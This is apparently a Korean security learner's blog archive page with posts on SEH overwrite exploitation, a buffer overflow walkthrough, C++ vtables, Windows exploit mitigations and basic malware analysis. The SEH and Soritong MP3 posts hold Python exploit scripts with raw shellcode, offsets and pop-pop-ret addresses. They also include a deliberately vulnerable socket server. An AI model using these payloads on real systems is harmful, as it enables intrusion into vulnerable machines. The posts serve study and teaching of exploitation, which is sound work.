Be myself :: '분류 전체보기' 카테고리의 글 목록 (9 Page)

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

'분류 전체보기'에 해당되는 글 116건

  1. 2014.07.20 test page 만들기
  2. 2014.07.16 SEH overwrite 실습
  3. 2014.07.12 C++에서 VTable
  4. 2014.07.11 여러 보호기법
  5. 2014.07.11 기초 동적분석
  6. 2014.07.10 악성코드 기초 정적분석
  7. 2014.07.10 SEH overwriting
  8. 2014.07.01 워게임 현황
  9. 2014.05.28 윈도우 BOF 2
  10. 2014.05.17 DLL Injection 1

test page 만들기

web 2014. 7. 20. 23:12

APM설치

APM은 Apache, php, mySQL을 묶어서 이야기를 한다. 여기서 Apache는 웹서버, php는 웹언어, mySQL은 데이터베이스 이다. 여기서 웹 서버에 대한 이해와 데이터베이스 등에 대한 이해를 가지지 못한 사람들이 있을 것이다. '서버'에 관한 이해는 소켓프로그래밍을 해 보았다면 이해하기 쉬울 것이다. '웹 서버'도 서비스에 의해 작동되는 프로그램에 지나지 않는다. '데이터 베이스'는 예를 들어 회원정보나 물품목록 등의 데이터를 체계적으로 관리하기 위한 프로그램이다.
다운로드는 http://www.apmsetup.com/download.php 에서 받을 수 있다.

(APMSETUP 설치화면)

여기서 C:/APM_Setup/htdocs디렉터리에 원하는 html파일이나 .jsp등의 파일을 넣어 홈페이지를 만들면 된다.

MySQL을 설정하는 방법은 http://127.0.0.1/myadmin에 들어가서 설정한다.

설치직후 기본 ID/PW는 root/apmsetup이다.

테스트 페이지 만들기

이제 APM구축이 되었다면, 간단하게 test페이지를 다음과 같이 메모장으로 만들어 C:\APM_Setup\htdocs에 넣은 후 127.0.0.1/test.php 주소를 쳐 확인한다.

'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
Sqli 기본 패턴  (0) 2014.11.27
DNS서버 zone 설정  (0) 2014.11.25
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

SEH overwrite 실습

Exploit 2014. 7. 16. 23:59

윈도우 서버 2003 R2버전에서 테스트 했다. 비주얼 스튜디오 2008으로 GS설정을 일단 끄고 컴파일 해보았다. 코드는 다음과 같다.

// vulnerable server.cpp : Defines the entry point for the console application.// 
#include "stdafx.h"
#include "winsock.h"
#include "windows.h"
//load windows socket
#pragma comment(lib, "wsock32.lib")
 
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
 
void pr( char *str)
{
char buf[500]=" ";
strcpy(buf,str);
}
void sError(char *str)
{
printf("Error %s",str);
WSACleanup();
}
 
int _tmain(int argc, _TCHAR* argv[])
{
WORD sockVersion;
WSADATA wsaData;
 
int rVal;
char Message[5000]=" ";
char buf[2000]=" ";
 
u_short LocalPort;
LocalPort = 200;
 
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
 
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
 
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
 
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
 
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
 
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
 
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 ) 
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
 
//Pass the data received to the function pr
pr(Message);
 
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
 
WSACleanup();
 
return SS_OK;
}

Project->property에서 창을 띄우고 다음과 같이 설정한다.

코드를 보면 알겠지만, pr함수가 취약해서 오버플로가 일어난다. Buf를 500개 이상 주면 공격 가능하다.

다음과 같이 파이썬 코드를 짜서 서버를 터뜨려 보자 J ^^

import	socket

HOST ='192.168.110.142' PORT =200 junk ="A"*1000 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print [+]sock setting done" s.connect((HOST,PORT)) print "[+]sock connect done"

												

s.sendall(junk) print "[+]payload attack! " s.close()

GS를 꺼두었기 때문에 스택쿠키가 없어 다음과 같이 eip가 변경된다.

그럼, GS를 키고 컴파일 해보면 어떻게 될까?

필자의 경우 그냥 꺼진다. 스택쿠키를 확인하는 절차가 있어서 그렇다.

그렇다면 스택쿠키를 우회하는 방법은 무엇일까? 앞선 글에서도 설명 했는데, 예외처리 코드를 이용한다. 즉, SEH overwrite 한다. 다음과 같은 코드를 예제로 삼겠다.

#include "tchar.h"

#include "stdio.h" #include "windows.h" #include "stdio.h"   void GetInput(char* str, char* out) {    char buffer[500];     try     { strcpy(buffer,str);      strcpy(out,buffer); printf("Input received : %s\n",buffer);     }     catch (char* strErr)     {         printf("No valid input received ! \n");         printf("Exception : %s\n",strErr);     } }   int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; }

간단하다, GetInput함수에서 buffer에 strcpy하는 부분이 있는데 여기서 오버플로우가 터진다.

일단 GS와 RTC없이 컴파일해 windbg로 600개의 인자를 주고 실행 해 보자.

Eip의 위치까지 가기 전에 예외가 발생하게 되고, 핸들러 부분이 A의 값으로 바뀌었다. 즉, SEH 오버라이트 공격이 가능하다.

이번엔 GS를 키고 컴파일 한 후 A를 600개로 인자로 주고 실행해 보자.

마찬가지로 SEH가 바뀌었다.

여기서 SafeSEH옵션을 주고 컴파일 해서 SafeSEH와 스택쿠키를 우회하는 법을 알아 보자. 근데, windows server 2003 sp2 버전부터 SEH를 보호하는 기법이 업데이트 되었다. 로드된 모듈과 SafeSEH로 컴파일된 모듈, 또 스택을 가리키는 포인터는 SEH핸들러로 올 수 없다는 것이다. 따라서 핸들러로 pop pop ret의 명령어 주소를 가진 모듈을 찾기가 힘들기 때문에, 해법으로 CALL [ebp+30h], jmp [ebp+30h], call [esp+8h], jmp [esp+8h]등이 온다. 근데 아직까지 이해하지 못한 점은 Esp+8h는 원래 예외핸들러의 인자 값으로 next seh를 담은 구조체가 넘어가기 때문에 그렇다고 쳐도, [ebp+30h]는 어째서 가능한지 모르겠다. 물론 Olly로 확인했을 때, 정확하게 다음 next_seh를 가리키지만.. 암튼, 우린 call [ebp+30h]하는 부분을 찾아 셸코드를 작성한다.

0x280b0b에 관련 명령어가 있다. 이걸 이용해 쉘코드를 짜는데, 쉘은 seh가 등록된 스택보다 낮은 주소값에 넣는다. 왜냐하면 높은 주소값에 넣으면, 오버플로우로 인해 쉘이 망가질 위험이 있어서 이다. 자 다음과 같이 코드를 작성한다. 일단 nseh오프셋 값을 찾는 작업을 밟는 것이다.

import os
import struct												
import sys
junk = "A"*508
nseh ="\xcc\xcc\xcc\xcc"													
seh = "AAAA"													
e = os.system('windbg'+' '+'C:\hack\seh.exe'+' '+junk+nseh+seh)

실행 시키면, 다음과 같은 결과가 나온다.

(정확히 입력됬다.)

자 그럼 다음과 같이 익스플로잇을 짜고 실행시킨다.

import os

import struct nop = "\x90"*25 shell = "\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" +"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" +"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" +"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" +"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" +"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" +"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" +"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" +"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" +"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" +"\xb9\x48\x57\x7a"

junk = "\x90"*(508-len(shell+nop)-5) jmp = "\xe9\x70\xfe\xff\xff" //jmp -400byte nseh = "\xeb\xf9\xff\xff" //jmp -7byte seh = "\x0b\x0b\x28" e = os.system('C:\hack\seh.exe'+nop+shell+junk+jmp+nseh+seh)

그럼 다음과 같이 떠야되는데… 안된다..

몇 시간을 삽질 했지만.. 도저히 이유를 모르겠다. 아마 windows server 2003 한글버전으로 테스트 해서 그런 것 같긴 하다. Windbg로 확인해 본 결과 0x00280b0b로 eip가 바뀌질 않는다. 하.. 이유를 모르겠다. 누가 설명 좀 해주세요 ㅠㅠ

'Exploit' 카테고리의 다른 글

RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
Posted by flack3r
|

C++에서 VTable

Exploit 2014. 7. 12. 00:29

1 c++ 가상함수

IE취약점을 분석하다(use after free) vtable에 관한 지식이 없어 찾다 보니, C++에서의 가상함수 개념과 비슷하여 알아볼 필요가 있을 것 같았다. 따라서 C++은 어떻게 어셈블리로 표현되는지 간단한 코드를 통해 알아 보겠다. 본 포스팅은 <리버스 엔지니어링 바이블>이라는 책의 예제를 사용하였다.

가상함수란, 상속된 객체의 함수가 있으면서 없는듯하게 행동하는 함수이다. 다시 말하면 A를 상속하는 B라는 클래스가 있고, 똑 같은 test()함수를 가지고 있다. 이 때, A클래스에서 test()함수가 가상함수로 선언되어 있다면, A객체포인터로 B객체를 가리키고 있고, test()함수를 호출한다면 원래 A의 test함수가 호출되어야 하지만, 가상함수로 선언되어 있어 B의 test함수가 호출되는 원리이다. 말로 하면 끝도 없이 어려우니 관련 문서나 책을 참고하기 바란다.

또 클래스에서 함수에 대해 더 설명하자면, 멤버 변수는 객체 내에 존재하지만 멤버 함수는 메모리의 한 공간에 존재하면서 모든 객체가 공유하는 형태이다.

컴파일러는 가상함수를 포함하는 클래스에 대해서, 가상함수 테이블(VTable)을 만들어 준다. 따라서 하나 이상의 가상 함수를 멤버로 지니는 클래서의 객체에는 VTable을 위한 포인터가 멤버로 추가된다.

이건 추측인데 다음과 같은 결론을 내렸다.(아는 사람이 있으면 좀 알려주시길 ㅠㅠ) 아래와 같은 코드가 있다고 해보자.

#include<iostream>
using std::endl;
using std::cout;

class
A
{
public:
    int a;
    int b;
    virtual void fct1(){ cout<<"fct1..."<<endl; }
    virtual void fct2(){ cout<<"fct2..."<<endl; }
};

class
B : public A
{
    int c;
    int d;
public:
    virtual void fct1(){ cout<<"fct1 over..."<<endl; }
    void fct3(){ cout<<"fct3..."<<endl; }
};

int
main()
{
    A* aaa = new B();
    aaa ->fct1();
 
    B* bbb = new B();
    bbb ->fct1();
    return 0;
}

이 때, A* aaa = new B(); 부분의 의미는 곧 A객체를 만들고, VTable에서 겹치는 함수 부분만(오버라이딩 된 부분) VTable에 함수 주소값을 넣어라. 라는 뜻인 것 같다.

 

2 c++ 코드 분석

직접 어셈블리어로 분석 해 보자.

기본 코드는 다음과 같다.

#include "windows.h"										

#include "stdio.h" #include "tchar.h" class Employee {     public :         int number;         char name[128];         long pay;         void ShowData();         void Test(); }; void Employee::ShowData() {    printf("number: %d\n", number);    printf("name: %s\n", name);    printf("pay: %d\n", pay);      Test();    return; }   void Employee::Test() {     printf("Test fuction\n");     return; }   //Employee kang; int main(int argc, char* argv[]) {     Employee kang;     printf("size: %X\n", sizeof(Employee));          kang.number = 0x1111;     _tcscpy(kang.name, _T("강병탁"));     kang.pay =0x100;     kang.ShowData();     return 0; }

아래는 위 코드를 컴파일 하고 IDA로 열어본 화면이다.

여기서 ecx가 클래스 멤버의 제일 첫 주소를 나타내고, 이 주소 값을 기준으로 클래스 멤버에 접근한다. Main 부분을 확인해 보면 확실해 진다.

결론은 Ebp-88부분부터 ebp-4까지 Employee클래스의 멤버 변수들의 공간이었다. 그리고 이 멤버 변수에 접근을 ecx(C++에서의 this포인터)가 담당하였다.

이제 가상함수가 선언된 클래스를 분석해 보자. VTable은 생성자가 실행될 때, 설정된다.

따라서 그림상으로 나타내면 다음과 같다.

'Exploit' 카테고리의 다른 글

유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
Posted by flack3r
|

여러 보호기법

Exploit 2014. 7. 11. 20:21

여러가지 보호 기법

윈도우에서 익스플로잇을 막기 위한 여러 가지 보호 기법들이 존재한다. 그 중 SafeSEH와 DEP, stack cookie 에 관해 살펴보고 관련 우회기법을 다룬다.

1 스택쿠키 (/GS보호)
리눅스에서 스택가드(canary)의 개념과 일맥상통한다. [스택쿠키][ebp][eip]이런 식으로 존재하며 함수가 리턴하기 전에 스택쿠키가 변조되었는지 확인하는 함수를 호출한다.
GS보호의 다른 기능은 지역변수들을 재배치한다. 그래서 오버플로가 발생하더라도 지역변수들은 변조되지 않는다.

우회방법: 카나리가 변조되어서 프로그램이 종료되지 않는가? 그렇다면 스택쿠키의 값을 알아내어 그 값을 바뀌게만 하지 않으면 된다. 또는 예외핸들러 구조체를 제어할 수 있다면 SEH오버플로를 일으켜서 스택쿠키가 변조되었는지 프로그램이 확인하기 전에 예외를 일으키면, 우회가 가능하다. 이 부분을 막기 위해 SafeSEH나 DEP같은 보호기법들이 나오게 된다.

2. SafeSEH
SafeSEH옵션으로 컴파일된 모듈은 불행히도 SEH핸들러로 사용이 불가능하다. 다만, SEH핸들러 부분의 주소값이 스택영역에 있지 않고, SafeSEH옵션이 안된 모듈을 사용한다면 가젯으로 이용되기에 충분하다. 즉, 외부(OS)DLL을 이용하는 것이다.

3. SEHOP
좀더 찾아 볼 것.

4. DEP
스택영역에서 실행권한을 없애서 쉘코드를 스택에서 직접 실행할 수가 없게 되었다. 따라서 로드된 모듈들의 가젯들을 모아 쉘코드를 실행시키는 효과를 내서 우회한다.

'Exploit' 카테고리의 다른 글

SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
Posted by flack3r
|

기초 동적분석

Malware 2014. 7. 11. 12:50

1 기초 동적 분석

동적 분석은 악성코드를 실행시켜 어떤 행위를 하는지 모니터링 하는 행위이다. 동적 분석은 정적 분석 이후 좀 더 자세한 분석을 위해서거나 패킹되어 있어 정적 분석으로 특별한 정보를 얻을 수 없을 때 수행한다. 여기선 기초 동적 분석과정을 다룰 텐데, 어셈블리를 분석하지 않고 그냥 모니터링 하는 방법을 설명하겠다. IDA로 어셈을 분석하는 부분은 고급 동적 분석부분에서 설명한다.

1 샌드박스
가상환경을 이용하여 실제 시스템의 감염 위험을 줄여 테스트한다. GFI 샌드박스, 아누비스, 죠 샌드박스 등이 있는데 이런 샌드박스는 해당 웹사이트에 악성코드를 보내기만 하면 이해하기 쉬운 형태로 결과를 제공해 초기 분류를 용이하게 한다.
하지만 단점도 존재하는데, 악성코드가 샌드박스 OS에선 동작하지 않는다거나, VM을 탐지해 다른 방식으로 동작한다거나 할 가능성이 있어 샌드박스의 리포트를 너무 믿어선 안된다.

2 악성코드 DLL실행
rundll32.exe툴을 이용하거나 PE 파일헤더의 Characteristics필드를 수정하여 실행파일로 인식하도록 하고, 실행시킨다. PE를 수정해 실행했을 땐, DllMain부분만 실행 되지만, 만약 dllmain부분에서 주요한 악성행위가 일어난다면 분석하기엔 충분하다.

3 프로세스 모니터를 통한 모니터링
Process Monitor 또는 ProcMon는 특정 레지스트리, 파일 시스템, 네트워크, 프로세스와 스레드 행위를 모니터링 할 수 있는 툴이다. ProcMon은 윈도우 시스템콜을 모두 감시한다.

4 프로세스 익스플로러
활성화된 프로세스, 프로세스가 로딩한 DLL 등 다양한 프로세스 특성과 전반적인 시스템 정보를 볼 수 있다. 프로세스명을 더블클릭하면 Properties창이 뜨는데 Image탭에서 Verify옵션은 디스크상의 이미지가 마이크로소프트에서 서명한 바이너리인지 검증할 수 있다. 하지만 메모리 상의 이미지가 아니라 디스크상의 이미지를 검증하므로 완전히 신뢰할 수 없다.

5 Regshot을 이용한 레지스트리 스냅샷 비교
악성코드를 실행시키기 전에 레지스터의 스냅샷을 찍고 실행시키고 난 후 스냅샷을 찍어 두 개의 스냅샷을 비교한다.

6 ApateDNS + netcat or 와이어샤크
악성코드가 C&C서버로 접속하기 위해 DNS쿼리를 날리는데 이 때, 우린 ApateDNS로 가상로컬DNS서버를 설치하여 DNS질의를 받는다. IP를 설정하면 우리가 자체적으로 설치한 웹 서버로 DNS응답패킷을 보낼 수 있다. 즉, DNS서버를 리다이렉션한 다음 와이어샤크나 넷캣을 이용해 패킷을 분석할 수 있다.

7 INetSim
INetSim은 인터넷 서비스를 제공하는 리눅스 기반의 소프트웨어 모음이다. INetSim은 HTTP, HTTPS, FTP, IRC, DNS등과 같은 서비스를 에뮬레이션해 악성코드 샘플의 네트워크 행위를 분석할 수 있다.

2 도구 활용

지금까지 살펴본 툴들을 어떻게 활용하는 지 알아보자.

1. ProcMon을 실행해 악성코드명으로 필터를 설정한다.(시스템콜 확인)
2. 프로세스 익스플로러를 시작한다.(프로세스 확인)
3. RegShot을 이용해 레지스터의 첫 스냅샷을 수집한다.(레지스터 변경 확인)
4. ApteDNS와 INetSim을 사용해 네트워크환경을 구성한다. (네트워크 활동 확인)
5. 와이어샤크로 트래픽을 로깅한다.(네트워크 활동 분석)

'Malware' 카테고리의 다른 글

악성코드 기초 정적분석  (0) 2014.07.10
Posted by flack3r
|

1 기초 정적분석

실행하지 않고 간단하게 파일이 악성코드인지 아닌지 판단하는 방법이다. 다음과 같은 방법들이 있다.

1. 바이러스 토탈을 이용한다.
http://www.virustotal.com/에 접속하여 스캐닝 해본다.

2. 해시
만약 두개의 파일의 해시값이 같다면 두 파일은 완전한 동일한 파일이라는 의미가 된다. 따라서 파일의 해시값을 구해 인터넷에서 확인해 보고 다운로드 받은 파일이 정상적인 파일인지 확인하는 방법이 있다.

3. 문자열 확인
문자열을 확인하여 대략적으로 악성코드가 어떤 일을 하는지 파악 할 수 있다. 예를 들면 IP주소가 적히고 메일시스템 관련 Dll이 로드되어 있다면, 스팸메일을 보내는 악성코드 일 가능성이 높다가 추측할 수 있다.

(strings툴로 확인하였다.)

4. 패킹유무 확인
패킹이 되어있다고 해서 악성코드 인 것은 아니지만, 의심해 볼만하긴 하다. PEiD나 ExeInfoPE등의 툴을 이용해서 패킹을 확인 해 본다.

5. PE구조 분석
어떤 DLL을 이용해 어떤 함수들이 임포트 되어 있는지 확인한다. 물론, 악성파일이 분석가들을 혼돈시키기 위하여 쓸데없는 함수들을 전부 로드시킬 수 있지만, 정적분석으로써의 가치는 지닌다. 이 때, Dependency Walker프로그램을 이용해 임포트된 함수들을 더욱 편리하게 확인 할 수 있다.

'Malware' 카테고리의 다른 글

기초 동적분석  (0) 2014.07.11
Posted by flack3r
|

SEH overwriting

Exploit 2014. 7. 10. 22:10

1 SEH 오버플로 개요

일단 예외처리를 프로그램에서 했을 때, 스택상에서 어떻게 SEH가 어디에 위치하는지 간략하게 그림으로 확인해 보자.

이 정도만 보아도 대충 어떻게 Seh를 공격벡터로 이용하는지 입질이 슬슬 온다. 대충 오버플로 일으켜서 예외처리기 주소값에 쉘코드의 주소값을 넣은 후, 의도적으로 예외상황을 만들면 예외 핸들러주소 값으로 점프하게 되는데 그럼 쉘코드가 있는곳으로 eip가 조작되어 공격 성공하게 된다.

참고로 기본 seh 구동 메커니즘을 설명하자면, 오류가 발생되면 os는 해당 어플리케이션에서 TEB의 첫번째 요소(FS:[0])를 찾아 예외 핸들러의 주소값을 찾는다.( TEB는 쓰레드당 각각 하나씩 가지고 있는 블락이다. TEB가 PEB에 속하기 때문이다. 이에 대해 좀더 깊게 이해하려면 os커널에 대한 기본지식이 필요하기 때문에 os관련 서적을 참고하기 바란다.) 그러나 예외상황을 만족하는 예외 핸들러의 주소값이 없다면, os는 자체적인 예외처리를 하는데 프로그램을 종료시키는 것이다.

2 주의점

1 window xp sp1이후
예외핸들러가 실행되기 전에 모든 레지스터들이 xor연산되어 핸들러가 실행된다. 따라서 공격 페이로드를 작성할 시 주의하여야 한다.


2 window xp sp2이후
DEP와 스택쿠키가 도입되어 이 또한 유의하여야 한다.


3 safeSEH
컴파일 시 /SafeSEH옵션을 주면 활성화 되는데, seh공격을 막기위한 추가적인 보호 매커니즘이다.

3 기법 우회

DEP와 스택쿠키는 다음에 얘기할 기회가 있을 것이다. 우선 지금은 SafeSEH와 레지스터 xor연산 하는 것을 우회할 것이다. 그 방법은, 예외 핸들러가 실행 될 때 넘어가는 두번 째 인자가 다음 예외 핸들러의 주소값을 나타 낸다는 것이다. 우선 예외 핸들러가 등록됬을 때 어떻게 되는지 확인 해 보자.

위 글을 잘 읽어보면 이해가 갈 것이다. 의도적으로 예외를 발생 시키고, 예외 핸들러는 pop, pop, ret을 실행한다. 그 때, 처음에서 esp+8 부분이 다음 seh레코드 주소를 가르키는데, 이 부분으로 점프하게 된다. 그렇다면 다음 SEH레코드 부분에 우리의 쉘코드가 위치한 주소값을 넣어놓으면, 공격이 성공하게 된다.

4 실습

그럼 지금까지 살펴 본 내용들을 Soritong mp3 1.0을 활용한 실습을 통해 알아 보자.

이 프로그램은 Skin파일을 불러올 때 오버플로우 취약점이 존재한다. 따라서 다음과 같이 코드를 짜서 UI.txt를 /Skin/Default에 넣자.

f = open("UI.txt","w")
junk = "A"*5000
f.write(junk)
print("write success!")
f.close

그리고 실행시키면 SEH까지 덮어버렸기 때문에 아무 반응 없이 종료될 것이다.

그럼 올리디버거를 이용해 확인 해 보자.

SEH가 덮혀서 eip가 바뀐 것을 확인 할 수 있다.

이번엔 winDbg로 확인해 보자.

에러가 뜬다. 정확한 분석을 위해 !analyze -v명령어를 통해 자세히 알아보자.

예외처리가 0xffffffff 부분에서 이루어 졌다. 그 말은 오버플로우 처리가 OS 예외핸들러에 의해 처리 되었다는 말이다. 그럼, 어플리케이션 예외처리 루틴은 없었나 확인해 보기 위해 TEB덤프를 떠보자.

12fd64가 첫 번째 SEH이다. 결국 어플리케이션 계층의 seh핸들러가 존재 하였고, 이 부분이 AAAA로 덮였기 때문에 OS의 SEH가 실행된 것이라 생각할 수 있다.

자, 지금까지 이 프로그램이 SEH공격이 가능한지 여부를 살펴 보았고 가능하다는 결론을 얻었으므로, 우리에게 필요한 정보는 seh까지의 오프셋과 셸코드가 필요하다. 그 다음엔 [A junk][nSEH](이 부분은 셸코드로 점프하는 코드가 들어간다)[seh handler](pop pop ret)[Shell code]로 페이로드를 작성하면 끝이다.

그럼 앞에서도 살펴 보았듯이 메타스플로잇을 이용해 패턴을 만들고 seh의 오프셋을 확인한다.

41367441은 리틀엔디안으로 표현하면 41 47 36 41이고 아스키코드로 표현하면 At6A이다 그러므로 오프셋을 확인해 보면 588임을 알 수 있다. 따라서 A를 584개를 넣으면 된다.

다음 nSEH부분은 대충 nSEH에서 6byte만큼 jmp하면 셸코드에 도달하므로 그에 맞는 어셈블리를 짜서 확인해 보면 0xeb, 0x06, 0x90, 0x90이 된다.

이제 남은 부분은 SEH핸들러 부분인데 pop pop ret부분을 확인한다.

Dll도 어플리케이션에 종속적인 걸 이용한다. OS에 종속적인 kernel32.dll등을 이용하면 다른 OS버전에선 로드메모리가 다르게 올라 갈 수 있으므로 그렇다. 물론 어플리케이션 dll도 100%확실한 공격이 되는건 아닌데, 그나마 안정적이다.

0x100106fb부분을 이용하기로 한다.

다음과 같이 코드를 짠다..

import struct

f =open("UI.txt","w") junk ="A"*584 nSEH ="\xeb\x06\x90\x90" SEH= struct.pack('<I',0x100106fb) SHELL ="\x90"*25+"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+ "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+                  "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+ "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+                  "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+ "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+              "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+ "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+              "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+      "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+                  "\x7f\xe8\x7b\xca" junk2 = "A"*1500 f.write(junk + nSEH + SEH + SHELL+junk2) f.close

끝..!

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|

워게임 현황

Wargame 2014. 7. 1. 20:26

최근 3주간 reversing.kr 이것만해서 이룬 결과.. 윈도우 문제는 1개 남았는데 CRC fuck..! 진짜 안풀린다.

아래는 4월부터 심심할 때 짬짬히 푼 써니나타스.. 웹문제 3개 남았는데 Blind SQL injection부분인데 관련 기본지식이 거의 없어서.. 일단 skip ㅎㅎ !!

'Wargame' 카테고리의 다른 글

Fc3 dark_eyes  (0) 2014.08.22
Suninatas all clear  (3) 2014.07.25
CodeEngn 베이직 올클  (0) 2014.05.14
워게임 사이트  (0) 2014.05.05
BOF원정대 level3  (0) 2014.05.04
Posted by flack3r
|

윈도우 BOF

Exploit 2014. 5. 28. 19:04

1 개요

오랜만에 하는 포스팅이다. uaf공부하다가 부족함을 느껴 윈도우 exploit의 기초부터 쌓을 필요가 있을 것 같아 Bof부터 하나하나 정리해 가겠다. 따라서 이번 글은 버퍼오버플로에 관한 내용이 되겠다. 여기서 가정하고 있는 독자는 버퍼오버플로에 대한 내용을 이해하고 있는 사람들을 대상으로 한다. 잘 모르는 사람은 검색하면 좋은 문서들이 많으므로 참고하길 바란다. 여기서 다루는 툴들은 windbg와 python 2.7과 백트랙 5을 사용하였고 공격 대상은"Easy RM to MP3 Converter.exe" 2.7.3.700 버전이다. 모두 검색하면 쉽게 다운로드 받을 수 있다. 실행 환경은 windows xp sp3 이다.( https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 가 현재 작성한 내용의 중심이다. 자세한 내용을 원한다면 참고하길 바란다.)

 

2 분석

Easy RM to MPT Converter는 m3u파일을 읽어 오는 과정에서 버퍼 오버플로 취약점이 존재하는 프로그램이다. 그래서, 우리는 m3u파일의 내용에 충분히 적당한 양의 코드를 넣어서 버퍼의 RET까지 가서 덮어버리고, 프로그램의 흐름을 우리가 원하는 대로 제어할 수 있게 된다. 자, 그럼 일단 간단한 파이썬 코드를 짜서 m3u파일을 만들어 보자.

f = open("crash.m3u","w");
foo = "A"*30000;
f.write(foo);
print("Write Success! ");
f.close();

  

그 다음 생성된 crash.m3u 파일을 Easy RM to MPT converter로 로드시키면 다음과 같은 크래쉬가 난다. 이 때, 크래쉬가 난 지점에서 windbg로 디버깅 하기 위해선, cmd에서 windbg -I옵션을 주어 설정을 먼저 해야한다. cmd창을 띄워 windbg –I를 입력하자. 그 후 방금 생성된 crash.m3u파일을 로드 시키면 다음과 같은 화면이 뜬다.

그림에서 확인 할 수 있듯이 eip의 값의 41('A'의 값)으로 덮였다. 또 한 그때의 esp가 가리키는 값도 41('A')로 덮였다. 따라서 우린 이 프로그램에 버퍼오버플로 취약점이 있다는 것을 확인한 셈이다. 그렇다면 이제 우리가 원하는 셸코드를 ff730이후에 입력하고, eip 를 esp의 값으로(ff730)덮어 버린다면, 셸코드를 실행 시킬 수 있을 것 같다. 자, 그럼 일단 우리가 할 것은 A가 처음 저장되는 버퍼에서부터 RET까지의 거리를 알아야 한다. 몇 번의 테스트 후 확인된 점은 A*25000 + B*5000 이라 했을 때, eip의 값이 B로 바뀌었다. 이 말은, 거리가 25000~30000사이 라는 뜻이다. 정확한 거리를 확인하기 위해서 백트랙에 있는 메타스플로잇 도구를 이용하였다.

./pattern_create.rb 5000 이라 입력해 패턴을 5000개 정도 입력한다. 그리고 이 패턴을 사용하여 crash.m3u파일의 내용이 A*25000 + Create Pattern[5000] 이 되도록 프로그래밍 한다. 그 다음 이 파일을 로딩시키면 다음과 같은 화면이 뜬다

이 때, eip값을 기억하고, 백트랙으로 돌아가서 다음과 같이 입력한다.

